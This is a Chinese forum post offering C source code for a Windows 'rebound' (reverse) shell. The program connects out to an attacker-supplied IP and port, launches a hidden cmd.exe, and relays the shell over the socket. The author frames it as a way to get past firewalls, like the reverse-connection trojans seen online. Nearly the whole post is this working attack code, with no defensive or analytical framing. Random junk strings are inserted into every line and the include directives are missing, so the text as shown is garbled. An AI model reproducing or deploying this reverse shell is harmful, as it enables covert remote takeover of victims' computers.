社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5003阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 #*3 vE& p  
`R*!GHro  
/* ============================== ozA%u,\7k  
Rebound port in Windows NT &09G9GsnQ  
By wind,2006/7 7>-99o^W  
===============================*/ <f0yh"?6VH  
#include Z 2lX^z  
#include )2r_EO@3HP  
i'}"5O+  
#pragma comment(lib,"wsock32.lib") N5b&tJb M0  
N8X)/W  
void OutputShell(); =UxKa`  
SOCKET sClient; },#AlShZu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \3)U~[O>:  
8an_s%,AW  
void main(int argc,char **argv) DXK\3vf Ot  
{ @"m+9ZY  
WSADATA stWsaData; 9xL` i-7]  
int nRet; 2-^ ['R  
SOCKADDR_IN stSaiClient,stSaiServer; 1h`#H:  
fmFs  
if(argc != 3) )7Oj  
{ Z*'_/Grv?  
printf("Useage:\n\rRebound DestIP DestPort\n"); s+v$sF  
return; 9W j9=  
} ?:W=ddg  
d%oHcn  
WSAStartup(MAKEWORD(2,2),&stWsaData); (>dL  
uFaT~ 4  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2gnz=  
K:Z|# i-  
stSaiClient.sin_family = AF_INET; lNv xt6@s  
stSaiClient.sin_port = htons(0); nDNK}O~'  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 'f6!a5qC  
O\w-hk  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) bLUyZ3m!  
{ <O{G&  
printf("Bind Socket Failed!\n"); 6lwWFR+k  
return; q4Y'yp`?K;  
} UO-,A j*wW  
axv-U dE;  
stSaiServer.sin_family = AF_INET; F^Mt}`O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <p[RhP  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); M*F`s& vM  
' &Nv|v\V  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) N Q }5'  
{ +sXnC\  
printf("Connect Error!"); 07Oagq(  
return; 5 gwEr170  
} ) 3I|6iS  
OutputShell(); %i&\ X[  
} P}-S[[b73s  
ST\d -x  
void OutputShell() T"E%;'(cp)  
{ 3.%jet1  
char szBuff[1024]; pFEU^]V3*  
SECURITY_ATTRIBUTES stSecurityAttributes; C0L(ti;  
OSVERSIONINFO stOsversionInfo; +b{tk=Q:  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; &9xcP.3  
STARTUPINFO stStartupInfo; 5%" 0  
char *szShell; sA+( |cEh  
PROCESS_INFORMATION stProcessInformation; "mcuF]7F  
unsigned long lBytesRead; _61tE  
[V;Q#r&+  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0|?DA12Z  
QW&@>i  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t s=+k/Z  
stSecurityAttributes.lpSecurityDescriptor = 0; K ?V' ?s  
stSecurityAttributes.bInheritHandle = TRUE; M'$?Jp#]}  
weIlWxy  
)lVplAhZD  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ;zi4W1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); OP DRV\  
q_:B=w+bC  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -J++b2R\%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; EyV6uk~  
stStartupInfo.wShowWindow = SW_HIDE; Y>K3.*.  
stStartupInfo.hStdInput = hReadPipe; ;*e$k7}F  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @oFuX.  
] -G~  
GetVersionEx(&stOsversionInfo); wQX%*GbL2  
_"qX6Jc  
switch(stOsversionInfo.dwPlatformId) *w1R>  
{ M532>+A]Za  
case 1: z4(Q.0x7  
szShell = "command.com"; \p!mX|  
break; )(`,!s,8)  
default: T2k# "zD  
szShell = "cmd.exe"; !^w}Sp  
break; }vQ Y+O  
} R<ZyP~  
wdEQB-dA  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); yzJTNLff  
0+_:^z  
send(sClient,szMsg,77,0); yzz(<s:o/  
while(1) )H<F([Jri  
{ vrXNa8,L  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d~O)mJ J  
if(lBytesRead) m[&pR2T  
{ AO0aOX8_+D  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tR-rW)0K3Q  
send(sClient,szBuff,lBytesRead,0); =bb)B(  
} MT.D#jv&  
else t8S,C4  
{ S d]`)  
lBytesRead=recv(sClient,szBuff,1024,0); 2@pEuB3$?!  
if(lBytesRead<=0) break; 2L?Pw   
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N x/_+JWje  
} ]a\HgFp@  
} uJ%XF*>_D  
1.q a//'RW  
return; %;YERO!  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您提交过一次失败了,可以用”恢复数据”来恢复帖子内容
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八